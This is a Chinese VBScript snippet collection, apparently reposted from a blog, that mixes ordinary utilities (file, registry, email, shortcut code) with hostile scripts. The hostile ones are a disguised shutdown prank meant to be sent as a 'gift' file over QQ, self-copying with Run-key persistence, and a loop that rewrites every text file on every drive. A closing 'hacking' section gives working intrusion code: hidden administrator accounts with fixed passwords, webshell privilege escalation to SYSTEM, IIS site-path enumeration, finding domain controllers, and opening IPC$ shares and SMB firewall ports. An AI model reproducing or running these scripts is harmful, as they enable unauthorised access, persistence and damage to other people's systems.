vbs常用代碼

在網上查找資料的時候發現好多經典的vbs代碼收集起來也為了以后學習。
VBS播放音樂

Dim wmp
Set wmp = CreateObject("WMPlayer.OCX")
wmp.openState
wmp.URL = "想象之中.mp3"
Do Until wmp.playState = 1
WScript.Sleep 1000
Loop
比較流行的VBS整人腳本(保存為“禮物.VBE”這樣就可以通過QQ發送了)

Set shell=CreateObject("WScript.Shell")
shell.run "shutdown -s -t 60 -c 系統即將關閉.",0
While InputBox("請輸入答案","請回答")<>"123" '密碼是123
MsgBox "答案在心中...",16+4096 '4096 是讓窗口在最頂層
Wend
shell.run "shutdown -a",0
MsgBox "恭喜",64

修改桌面背景圖片 Sphoto="d:\1.bmp"'輸入你自己的BMP路徑
computer="."
Const hkcu=&h80000001
Set wmi=GetObject("winmgmts:\\"& computer &"\root\default:stdregprov")
wmi.getstringvalue hkcu,"Control Panel\Desktop","Wallpaper",Spath
wmi.setstringvalue hkcu,"Control Panel\Desktop","TileWallpaper","0"
wmi.setstringvalue hkcu,"Control Panel\Desktop","WallpaperStyle","2"
wmi.setdwordvalue
hkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi
ewShadow",1
Set wmi=Nothing
Set fso=CreateObject("scripting.filesystemobject")
Set fs=fso.Getfile(Sphoto)
backname=fs.name fs.Name=fso.GetFileName(Spath)
fs.Copy fso.GetParentFolderName(Spath) & "\",True
fs.Name=backname
Set fso=Nothing
Set ws=CreateObject("wscript.shell")
ws.Run "gpupdate /force",vbhide
ws.Run "RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters"
Set ws=Nothing

VBS獲取系統安裝路徑C:\WINDOWS路徑
先定義這個變量是獲取系統安裝路徑的然后我們用"strWinDir"調用這個變量。 Set WshShell = WScript.CreateObject("WScript.Shell")
strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")
VBS獲取C:\Program Files路徑 Set WshShell = WScript.CreateObject("WScript.Shell")
strPorDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")
VBS獲取C:\Program Files\Common Files路徑 Set WshShell = WScript.CreateObject("WScript.Shell")
strCommDir = WshShell.ExpandEnvironmentStrings("%CommonProgramFiles%")
給桌面添加網址快捷方式 Set WshShell = WScript.CreateObject("Wscript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop")
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\百度.lnk")
oShellLink.TargetPath = "http://www.baidu.com/"
oShellLink.Description = "百度主頁"
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"
oShellLink.Save

給收藏夾添加網址 Const ADMINISTRATIVE_TOOLS = 6
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS) Set objFolderItem = objFolder.Self
Set objShell = WScript.CreateObject("WScript.Shell")
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\百度.url")
objURLShortcut.TargetPath = "http://www.baidu.com/"
objURLShortcut.Save

刪除指定目錄指定后綴文件 On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile "C:\*.vbs", True
Set fso = Nothing
VBS改主頁 Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","http://www.baidu.com/"
VBS加啟動項 Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
VBS復制自己到C盤 Dim fso
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
fso.getfile(wscript.scriptfullname).copy("c:\cik.vbs")

復制自己到C盤的huan.vbs(復制本vbs目錄下的game.exe文件到c盤的cik.exe) Dim fso
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
fso.getfile("game.exe").copy("c:\cik.exe")
VBS獲取系統臨時目錄 Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echo tempfolder

就算代碼出錯 依然繼續執行 On Error Resume Next
VBS打開網址 Set objShell = CreateObject("Wscript.Shell")
objShell.Run("http://www.baidu.com/")
VBS發送郵件 NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "發件@qq.com"
Email.To = "收件@qq.com"
Email.Subject = "這里寫標題"
Email.Textbody = "這里寫內容!"
Email.AddAttachment "C:\這是附件.txt"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.qq.com"
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "發件人用戶名"
.Item(NameSpace&"sendpassword") = "發件人密碼"
.Update
End With
Email.Send
VBS結束進程 strComputer = "."
Set objWMIService = GetObject _
("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'Rar.exe'")
For Each objProcess in colProcessList objProcess.Terminate()
Next
VBS隱藏打開網址(部分瀏覽器無法隱藏打開而是直接打開適合主流用戶使用) createObject("wscript.shell").run "start http://www.baidu.com/",0

兼容所有瀏覽器使用IE的絕對路徑+參數打開無法用函數得到IE安裝路徑只用
函數得到了Program Files路徑應該比上面的方法好但是兩種方法都不是絕對的。 Set objws=WScript.CreateObject("wscript.shell")
objws.Run """C:\Program Files\Internet
Explorer\iexplore.exe""www.baidu.com",0
VBS遍歷硬盤刪除指定文件名 On Error Resume Next
Dim fPath
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery("Select * from Win32_Process Where
Name = 'gangzi.exe'")
For Each objProcess In colProcessList
objProcess.Terminate()
Next
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\"
& strComputer & "\root\cimv2")
Set colDirs = objWMIService.ExecQuery("Select * from Win32_Directory where name
LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name
LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")
Set objFSO = CreateObject("Scripting.FileSystemObject")
For Each objDir In colDirs
fPath = objDir.Name & "\cik.exe"
'如果文件名是cik.exe就刪除
objFSO.DeleteFile(fPath), True
Next
VBS獲取網卡MAC地址 Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
MsgBox "本機網卡MAC地址是: " & mo.MacAddress
Exit For
End If
Next
VBS獲取本機注冊表主頁地址 Set reg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page")
MsgBox startpage
VBS遍歷所有磁盤的所有目錄找到所有.txt的文件然后給所有txt文件最底部加
一句話 On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Co = vbCrLf & "路過。。。"
For Each i In fso.Drives
If i.DriveType = 2 Then
GF fso.GetFolder(i & "\")
End If
Next

Sub GF(fol)
Wh fol
Dim i
For Each i In fol.SubFolders
GF i
Next
End Sub

Sub Wh(fol)
Dim i
For Each i In fol.Files
If LCase(fso.GetExtensionName(i)) = "txt" Then
fso.OpenTextFile(i,8,0).Write Co
End If
Next
End Sub 獲取計算機所有盤符 Set fso=CreateObject("scripting.filesystemobject")
Set objdrives=fso.Drives '取得當前計算機的所有磁盤驅動器
For Each objdrive In objdrives '遍歷磁盤
MsgBox objdrive
Next
VBS給本機所有磁盤根目錄創建文件 On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set gangzis=fso.Drives '取得當前計算機的所有磁盤驅動器
For Each gangzi In gangzis '遍歷磁盤
Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夾.vbs",Ture)
TestFile.WriteLine("By Cik")
TestFile.Close
Next
VBS遍歷本機全盤找到所有123.exe然后給他們改名321.exe Set fs = CreateObject("Scripting.FileSystemObject")
For Each drive In fs.drives
fstraversal drive.rootfolder
Next
Sub fstraversal(byval this)
For Each folder In this.subfolders
fstraversal folder
Next
Set files = this.files
For Each file In files
If file.name = "123.exe" Then file.name = "321.exe"
Next
End Sub
VBS寫入代碼到粘貼板先說明一下VBS寫內容到粘貼板網上千篇一律都是通過
InternetExplorer.Application對象來實現但是缺點是在默認瀏覽器為非IE中會彈
出瀏覽器所以費了很大的勁找到了這個代碼來實現 str="這里是你要復制到剪貼板的字符串"
Set ws = wscript.createobject("wscript.shell")
ws.run "mshta
vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(clo
se)",0,true QQ自動發消息 On Error Resume Next
str="我是笨蛋/qq"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.run "mshta
vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(clo
se)",0
WshShell.run
"tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276
d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0
,true
WScript.Sleep 3000
WshShell.SendKeys "^v"
WshShell.SendKeys "%s"
VBS隱藏文件 Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("F:\軟件大賽\show.txt")
If objFile.Attributes = objFile.Attributes AND 2 Then
objFile.Attributes = objFile.Attributes XOR 2
End If
VBS生成隨機數521是生成規則不同的數字生成的規則不一樣可以用於其它用途 Randomize 520
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,"")
VBS刪除桌面IE圖標非快捷方式 Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoIntern
etIcon",1,"REG_DWORD"
VBS獲取自身文件名 MyName=WScript.ScriptName
msgbox MyName
MyFullName=WScript.ScriptFullName
msgbox MyFullName
VBS讀取Unicode編碼的文件 Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)
strText = objFile.ReadAll
objFile.Close
Wscript.Echo strText
VBS讀取指定編碼的文件默認為uft-8gangzi變量是要讀取文件的路徑 set stm2 =createobject("ADODB.Stream")
stm2.Charset = "utf-8"
stm2.Open
stm2.LoadFromFile gangzi
readfile = stm2.ReadText
MsgBox readfile
VBS禁用組策略 Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite
"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnap
ins",1,"REG_DWORD"
VBS寫指定編碼的文件默認為uft-8gangzi變量是要讀取文件的路徑gangzi2是
內容變量 cik="1.txt"
cik2="2.txt"
Set Stm1 = CreateObject("ADODB.Stream")
Stm1.Type = 2
Stm1.Open
Stm1.Charset = "UTF-8"
Stm1.Position = Stm1.Size
Stm1.WriteText cik2
Stm1.SaveToFile cik,2
Stm1.Close
set Stm1 = nothing
VBS獲取當前目錄下所有文件夾名字不包括子文件夾 Set fso = WScript.CreateObject("Scripting.Filesystemobject")
Set f=fso.GetFolder(fso.GetAbsolutePathName("."))
Set folders=f.SubFolders
For Each fo In folders
wsh.echo fo.Name
Next VBS獲取指定目錄下所有文件夾名字包括子文件夾 Dim t
Set fso=WScript.CreateObject("scripting.filesystemobject")
Set fs=fso.GetFolder("d:\")
WScript.Echo aa(fs)
Function aa(n)
Set f=n.subfolders
For Each uu In f
Set op=fso.GetFolder(uu.path)
t=t & vbCrLf & op.path
Call aa(op)
Next
aa=t
End Function
VBS創建.URL文件IconIndex參數不同的數字代表不同的圖標具體請參照
SHELL32.dll里面的所有圖標
注意不知道是誰這么寫我不發表任何意見 Set fso=CreateObject("scripting.filesystemobject")
qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)
qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)
qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)
qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)
Set TestFile=fso.CreateTextFile("qq.url",Ture)
TestFile.WriteLine(qidong)
TestFile.Close

VBS寫hosts沒寫判斷無論存不存在都追加底部 Set fs = CreateObject("Scripting.FileSystemObject")
path = fs.GetSpecialFolder(1)&"\drivers\etc\hosts"
Set f = fs.OpenTextFile(path,8,TristateFalse)
f.Write "127.0.0.1 www.不想上的網站.cn"
f.Write "127.0.0.1 www.不想上的網站2.cn"
f.Close
VBS讀取出
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desk
top\NameSpace 下面所有鍵的名字並循環輸出 Const HKLM = &H80000002
strPath =
"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace"
Set oreg = GetObject("Winmgmts:\root\default:StdRegProv")
oreg.EnumKey HKLM,strPath,arr
For Each x In arr
WScript.Echo x
Next

VBS創建txt文件 Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
VBS創建文件夾 Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
Set fld=fso.CreateFolder("C:\newFolder")
VBS判斷文件夾是否存在 Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists("C:\newFolder")) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder("C:\newFolder")
End If
VBS使用變量判斷文件夾 Dim fso,fld
drvName="C:\"
fldName="newFolder"
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists(drvName&fldName)) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder(drvName&fldName)
End If
VBS加輸入框 Dim fso,TestFile,fileName,drvName,fldName
drvName=InputBox("Enter the drive to save to:","Drive letter")
fldName=InputBox("Enter the folder name:","Folder name")
fileName=InputBox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
MsgBox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
TestFile.WriteLine("Hello,World!")
TestFile.Close

VBS檢查是否有相同文件 Dim fso,TestFile,fileName,drvName,fldName
drvName=InputBox("Enter the drive to save to:","Drive letter")
fldName=InputBox("Enter the folder name:","Folder name")
fileName=InputBox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
MsgBox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If
If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Then
MsgBox("File already exists.")
Else
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
TestFile.WriteLine("Hello,World!")
TestFile.Close
End If

VBS改寫、追加 文件 Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",2,True) '1只讀2可寫8追加 openFile.Write "Hello World!"
openFile.Close

VBS讀取文件 ReadAll 讀取全部 Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadAll)
VBS讀取文件 ReadLine 讀取一行 Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadLine())
MsgBox(openFile.ReadLine()) '如果讀取行數超過文件的行數就會出錯
VBS讀取文件 Read 讀取n個字符 Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.Read(2)) '如果超出了字符數不會出錯。
VBS刪除文件 Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\test.txt")
VBS刪除文件夾 Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\newFolder") '不管文件夾中有沒有文件都一並刪除
VBS連續創建文件 Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
For i=1 To 10
Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture)
TestFile.WriteLine("Hello,World!") TestFile.Close
Next
VBS根據計算機名隨機生成字符串 Set ws=CreateObject("wscript.shell")
Set wenv=ws.environment("process")
RDA=wenv("computername")
Function UCharRand(n)
For i=1 To n
Randomize Asc(Mid(RDA,1,1))
temp = CInt(25*Rnd)
temp = temp +65
UCharRand = UCharRand & Chr(temp)
Next
End Function
MsgBox UCharRand(Len(RDA))
VBS根據mac生成序列號 Function Encode(strPass)
Dim i, theStr, strTmp

For i = 1 To Len(strPass)
strTmp = Asc(Mid(strPass, i, 1))
theStr = theStr & Abs(strTmp)
Next

strPass = theStr
theStr = ""

Do While Len(strPass) > 16
strPass = JoinCutStr(strPass)
Loop

For i = 1 To Len(strPass)
strTmp = CInt(Mid(strPass, i, 1))
strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
theStr = theStr & strTmp
Next

Encode = theStr
End Function

Function JoinCutStr(str) Dim i, theStr
For i = 1 To Len(str)
If Len(str) - i = 0 Then Exit For
theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1)))
/ 2))
i = i + 1
Next
JoinCutStr = theStr
End Function

Function IIf(var, val1, val2)
If var = True Then
IIf = val1
Else
IIf = val2
End If
End Function

Set
mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
theStr = mo.MacAddress
Exit For
End If
Next

Randomize Encode(theStr)
rdnum=Int(10*Rnd+5)

Function allRand(n)
For i=1 To n
Randomize Encode(theStr)
temp = CInt(25*Rnd)
If temp Mod 2 = 0 Then
temp = temp + 97
ElseIf temp < 9 Then
temp = temp + 48
Else
temp = temp + 65
End If
allRand = allRand & Chr(temp)
Next End Function
MsgBox allRand(rdnum)
VBS自動連接adsl Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial 連接名字 賬號 密碼",false,1
VBS自動斷開ADSL Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial /DISCONNECT",false,1
VBS每隔3秒自動更換IP並打開網址實例值得一提的是下面這個代碼中每次打開
的網址都是引用同一個IE窗口也就是每次打開的是覆蓋上次打開的窗口如果需要
每次打開的網址都是新窗口直接使用run就可以了 Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
Set oIE = CreateObject("InternetExplorer.Application")
For i=1 To 5
wsh.run "Rasdial /DISCONNECT",False,1
wsh.run "Rasdial 連接名字 賬號 密碼",False,1
oIE.Navigate "http://www.ip138.com/?"&i&""
Call SynchronizeIE
oIE.Visible = True
Next
Sub SynchronizeIE
On Error Resume Next
Do While(oIE.Busy)
WScript.Sleep 3000
Loop
End Sub
用VBS來加管理員帳號
在注入過程中明明有了sa帳號但是由於net.exe和net1.exe被限制或其它的不明
原因總是加不了管理員帳號。VBS在活動目錄adsi部份有一個winnt對像可以
用來管理本地資源可以用它不依靠cmd等命令來加一個管理員詳細代碼如下 Set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組 Set od=ob.Create("user","lcx") '建立用戶
od.SetPassword "123456" '設置密碼
od.SetInfo '保存
Set of=GetObject(os&"/lcx",user) '得到用戶
oe.add os&"/lcx"

這段代碼如果保存為1.vbs在cmd下運行格式: cscript 1.vbs的話會在當前系
統加一個名字為lcx密碼為123456的管理員。當然你可以用記事本來修改里邊的
變量lcx和123456改成你喜歡的名字和密碼值。

將域用戶或租添加到本地組
Set objGroup = GetObject(WinNT://./Administrators)
Set objUser = GetObject(WinNT://testnet/Engineers)
objGroup.Add(objUser.ADsPath)
修改本地管理員密碼
Set objcnlar = GetObject(WinNT://./administrator, user)
objcnla.SetPassword PassWord
objcnla.SetInfo

用vbs來列虛擬主機的物理目錄
有時旁注入侵成功一個站拿到系統權限后面對上百個虛擬主機怎樣才能更快的找
到我們目標站的物理目錄呢一個站一個站翻看太累用系統自帶的adsutil.vbs吧又
感覺好像參數很多有點無法下手的感覺試試我這個腳本吧代碼如下 Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") &
obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit
運行cscript 2.vbs后就會詳細列出IIS里的站點ID、描述、及物理目錄是不是
代碼少很多又方便呢 用VBS快速找到內網域的主服務器
面對域結構的內網可能許多小菜沒有經驗如何去滲透。如果你能拿到主域管理員的密
碼整個內網你就可以自由穿行了。主域管理員一般呆在比較重要的機器上 如果能
搞定其中的一台或幾台放個密碼記錄器之類相信總有一天你會拿到密碼。主域服務
器當然是其中最重要一台了如何在成千台機器里判斷出是哪一台 呢dos命令像net
group “domain admins” /domain可以做為一個判斷的標准不過vbs也可以做到的
這仍然屬於adsi部份的內容代碼如下 Set obj=GetObject("LDAP://rootDSE")
WScript.Echo obj.servername
只用這兩句代碼就足夠了運行cscript 3.vbs會有結果的。當然無論是dos命令
或vbs你前提必須要在域用戶的權限下。好比你得到了一個域用戶的帳號密碼你可
以用 psexec.exe -u -p cmd.exe這樣的格式來得到域用戶的shell或你的木馬本來
就是與桌面交互的登陸你木馬shell的又是域用戶就可以直接運行這些命令了。
vbs的在入侵中的作用當然不只這些當然用js或其它工具也可以實現我上述代碼的
功能不過這個專欄定下的題目是vbs在hacking中的妙用所以我們只提vbs。寫完
vbs這部份我和其它作者會在以后的專欄繼續策划其它的題目爭取為讀者帶來好的有
用的文章。
WebShell提權用的VBS代碼
asp木馬一直是搞腳本的朋友喜歡使用的工具之一,但由於它的權限一般都比較低(一
般是IWAM_NAME權限),所以大家想出了各種方法來提升它的權 限,比如說通過asp木馬
得到mssql數據庫的權限,或拿到ftp的密碼信息,又或者說是替換一個服務程序。而我
今天要介紹的技巧是利用一個vbs文件 來提升asp木馬的權限代碼如下asp木馬一
直是搞腳本的朋友喜歡使用的工具之一,但由於它的權限一般都比較低(一般是
IWAM_NAME權限),所以 大家想出了各種方法來提升它的權限,比如說通過asp木馬得到
mssql數據庫的權限,或拿到ftp的密碼信息,又或者說是替換一個服務程序。而我今天
要 介紹的技巧是利用一個vbs文件來提升asp木馬的權限代碼如下: Set wsh=Createobject("wscript.shell") '創建一個wsh對象
wsh.run "cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set
/W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll
C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll
C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0 '加入
asp.dll到InProcessIsapiApps中
將其保存為vbs的后綴,再上傳到服務上
然后利用asp木馬執行這個vbs文件后。再試試你的asp木馬吧你會發現自己己經是
system權限了
VBS開啟ipc服務和相關設置 Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell") OperationRegistry.RegWrite
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0

Set wsh3=wscript.createobject("wscript.shell")
wsh3.Run "net user helpassistant 123456",0,false
wsh3.Run "net user helpassistant /active",0,false
wsh3.Run "net localgroup administrators helpassistant /add",0,false

wsh3.Run "net start Lanmanworkstation /y",0,false
wsh3.Run "net start Lanmanserver /y",0,false
wsh3.Run "net start ipc$",0,True
wsh3.Run "net share c$=c:\",0,false

wsh3.Run "netsh firewall set notifications disable",0,True
wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false
wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false
wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false
wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false
VBS時間判斷代碼 Digital=Time
hours=Hour(Digital)
minutes=Minute(Digital)
seconds=Second(Digital)
If (hours<6) Then
dn="凌辰了還沒睡啊"
End If
If (hours>=6) Then
dn="早上好"
End If
If (hours>12) Then
dn="下午好"
End If
If (hours>18) Then
dn="晚上好"
End If
If (hours>22) Then
dn="不早了夜深了該睡覺了"
End If
If (minutes<=9) Then
minutes="0" & minutes
End If
If (seconds<=9) Then
seconds="0" & seconds End If
ctime=hours & ":" & minutes & ":" & seconds & " " & dn
MsgBox ctime

VBS注冊表讀寫 Dim OperationRegistry , mynum
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
mynum = 9
mynum =
OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Con
trol\Lsa\forceguest")
MsgBox("before forceguest = "&mynum)
OperationRegistry.RegWrite
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0
mynum =
OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Con
trol\Lsa\forceguest")
MsgBox("after forceguest = "&mynum)
VBS運行后刪除自身代碼 dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)
VBS獲取參數並顯示 For i=0 To WScript.Arguments.Count-1
MsgBox WScript.Arguments.Item(i)
Next 檢測是否重復運行 Function IsRun()
IsRun=False
For Each ps In
GetObject("winmgmts:\\.\root\cimv2:win32_process").instances_
If LCase(ps.name)="wscript.exe" Then
If InStr(LCase(ps.CommandLine),LCase(WScript.scriptname)) Then
i=i+1 End If
Next
If i>1 Then IsRun=True
End Function 獲取指定類型磁盤 Function GetDrvS(Drives)
Set Drv = Fso.GetDrive(Fso.GetDriveName(Drives))
If Drv.IsReady Then
If Drv.DriveType=1 Then GetDrvS = True Else GetDrvS = False
'磁盤類型: 0無法識別 1移動磁盤 2硬盤 3網絡硬盤 4光驅 5“RAM虛擬磁盤”
End If
End Function
查看快捷方式 詳細參數 'On Error Resume Next
Set cik = CreateObject("Wscript.Shell")
set Link=cik.CreateShortcut(WScript.Arguments.Item(0))
with Link
s=s&"快捷方式對象的參數。 "&.Arguments
s=s&vbcrlf&"快捷方式對象的說明。 "&.Description
s=s&vbcrlf&"快捷方式對象的熱鍵。 "&.Hotkey
s=s&vbcrlf&"快捷方式對象的圖標位置"&.IconLocation
s=s&vbcrlf&"快捷方式對象的目標路徑"&.TargetPath
s=s&vbcrlf&"快捷方式對象的窗口樣式"&.WindowStyle
s=s&vbcrlf&"快捷方式對象的工作目錄"&.WorkingDirectory
end with
msgbox s,," 快捷方式對象"
WScript.Quit

讓電腦讀英文 CreateObject("SAPI.SpVoice").Speak "Reduction using Windows?" 文件夾的簡單操作 Set fso = Wscript.CreateObject(Scripting.FileSystemObject) '聲明
Set f = fso.CreateFolder("C:\sample") '創建文件夾
Set e = getFolder("C:\sample") '類似於 綁定目標 e.copy("D:\sample") '復制文件夾
fso.deletefolder("C:\sample") '刪除文件夾